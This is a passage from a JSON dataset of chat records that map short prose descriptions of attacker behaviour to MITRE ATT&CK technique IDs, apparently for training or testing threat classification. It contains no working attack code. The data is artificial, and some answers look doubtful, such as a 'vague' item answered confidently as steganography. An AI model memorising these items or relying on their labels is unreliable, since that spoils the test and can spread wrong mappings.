                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool accesses the LSA Secrets registry hive to pull hashed passwords and service account secrets."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware employs rundll32.exe to execute a DLL embedded in a PDF file after the victim opens the document."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use an asymmetric key pair to encrypt beacon messages sent to their remote server."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group manipulates CNAME records of the victim's domain to point to a malicious server hosting ransomware."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor updates the Group Policy to push a malicious script to all domain-joined computers."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses a compromised VPN tunnel to transfer large amounts of data out of the target network."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder configures a root cron job to run a privilege escalation exploit on a regular interval."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign gave the attacker a valid user token, which was then used to pull client data from SharePoint."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a compromised third‑party SaaS billing platform to generate bogus subscription charges, diverting customer payments to accounts they control."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before exfiltrating data, the adversary cleared the command history logs on the compromised Linux system."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro opens the installed programs list in the Windows Control Panel to harvest application names."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach involved writing sensitive documents to a local staging area on the victim’s disk before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor creates a Kubernetes Job that pulls a payload from a C2 server and runs it on each node."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers abuse the Active Directory Domains and Trusts MMC snap‑in to add a rogue trust."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An observed malicious script creates a reverse VNC connection to the command server for interactive control."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor logged into the AWS Billing console to view and exfiltrate cost and usage reports containing sensitive metadata."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the Process Hollowing technique to hijack the execution flow of a signed Windows binary, allowing stealthy code execution."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects malicious code into a running process to alter in-memory data structures, changing the behavior of the application."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion modifies the Windows Boot Manager settings to include the /SAFEBOOT switch, thereby impairing defenses."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries establish a command-and-control channel by embedding malicious payloads in HTTP POST requests to a legitimate web service they control."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the cloud service's API to launch a VNC session straight to the compromised VM."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A vague description: 'The actor hides data within files to avoid detection', lacking specifics about the method used."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware replaces the trusted PDF reader binary with a malicious version to gain code execution on the host."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker drops a malicious .msc file and runs it with mmc.exe to gain execution without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised web server, the threat actor stores staged commands that the infected host fetches via HTTP GET, functioning as a dead‑drop resolver."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate stolen data by embedding it within encrypted email attachments using PGP, avoiding standard C2 channels."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor purchases a dedicated server using stolen credit card information for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant transforms stolen data into a JSON string and then applies standard base64 encoding."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a reverse shell on port 22, mimicking SSH."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercrime group buys a VPS in a low-cost hosting provider to host their malware distribution server."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder modifies the access control list in a Docker Enterprise cluster, granting themselves the \"manager\" role."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects malicious code into a legitimate software update mechanism, exploiting a flaw to run the malicious payload on the end user’s machine."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware executes \"rpm -qa\" on a Red Hat server to enumerate installed packages for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leveraged compromised credentials to query Cloudflare Workers KV store for stored API tokens."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages LNK icon smuggling to conceal its command‑and‑control downloader within a shortcut that shows a standard folder icon."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit targets the UAC elevation mechanism to bypass the user prompt and gain higher privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro spawns a loop that creates thousands of processes on the workstation, exhausting CPU and memory."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encrypts critical files on the victim's workstation and leaves a ransom note demanding payment."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team uses a domain registration API to automate bulk domain purchases for a botnet."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant searches for .eml files across the file system and copies them to a staging area."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromise of a serverless compute service was achieved by injecting malicious Terraform scripts."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan installs a rogue SSP that runs with SYSTEM privileges each time a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker alters the LSA authentication packages to include a malicious DLL, enabling code execution whenever a user authenticates."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through social engineering, a user is persuaded to open a PowerPoint template that contains a macro, which then initiates credential dumping tools on the host."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed on a popular blog’s comment section, causing a drive‑by download of a credential‑stealing tool to any reader’s machine."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion vector involves executing a crafted DLL with regasm, allowing the adversary to execute arbitrary commands under a system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the endpoint, the attacker uploads sensitive logs to an unauthorized AWS S3 bucket they control."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code stages a batch of files in %TEMP% to be exfiltrated later."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor distributes a crafted BMP image via a malicious advertisement; clicking the image triggers a download of a ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses automated scripts to query technical blogs and open data dumps for server IP addresses and login details."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries stole database passwords stored in HashiCorp Vault after obtaining vault authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary distributes a phishing email with a deceptive URL pointing to a fake login page designed to harvest user credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a rule in Outlook to automatically forward all incoming emails to an external Gmail address."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker writes a malicious systemd unit file to /etc/systemd/system and enables it to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a targeted email containing a malicious URL that, when clicked, exploits the victim's browser to download a credential‑stealing payload."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group creates a container that runs a malicious script to modify system binaries for persistence."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a previously compromised internal proxy server, the adversary channels command-and-control traffic to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the system's power plan to set the sleep timeout to never, ensuring the malware remains active even when the computer is idle."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the SSH daemon configuration on compromised Linux servers to permit only arcfour cipher, drastically weakening session security."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uploaded harvested files to a compromised external web server to stage data before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team secures a low‑cost VPS in a jurisdiction with weak law enforcement to host malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting an unpatched CVE in IIS, the attacker achieved remote code execution and deployed a persistent web shell in the inetpub directory."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code terminates the Windows Time service to disrupt time synchronization."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group accessed file shares by authenticating with harvested domain user credentials."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages LDAP to change Group Policy objects, disabling Windows Defender across the network."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet of compromised industrial control system (ICS) devices is created to disrupt manufacturing processes via coordinated command execution."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain compromise was achieved by injecting a malicious DLL into the installer of a popular Windows application during the build process."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan updates itself by contacting a command‑and‑control server via a URL embedded in its configuration, fetching new capability modules."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs 'tasklist' on the compromised Windows host to list all active processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script performs self-modifying code checks to ensure it is not being analyzed in a sandbox with debugging."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator deploys a fake root CA certificate via Group Policy to all domain‑joined computers."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Red Team simulates data theft by encoding stolen files into the attachment section of an email and sending it via SMTP."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the `Invoke-ACLScanner` module to list local group ACLs, effectively discovering local groups."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set runs a C# program that calls WlanGetAvailableNetworkList to collect Wi‑Fi SSID and channel data from the target device."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware modifies the user's login hook to execute a backdoor payload during the boot process, ensuring persistence after every reboot."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries gather screenshots and store them in a temporary local cache before transmitting the data to a command server."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant leverages the Apache Commons Compress library to zip files before uploading."
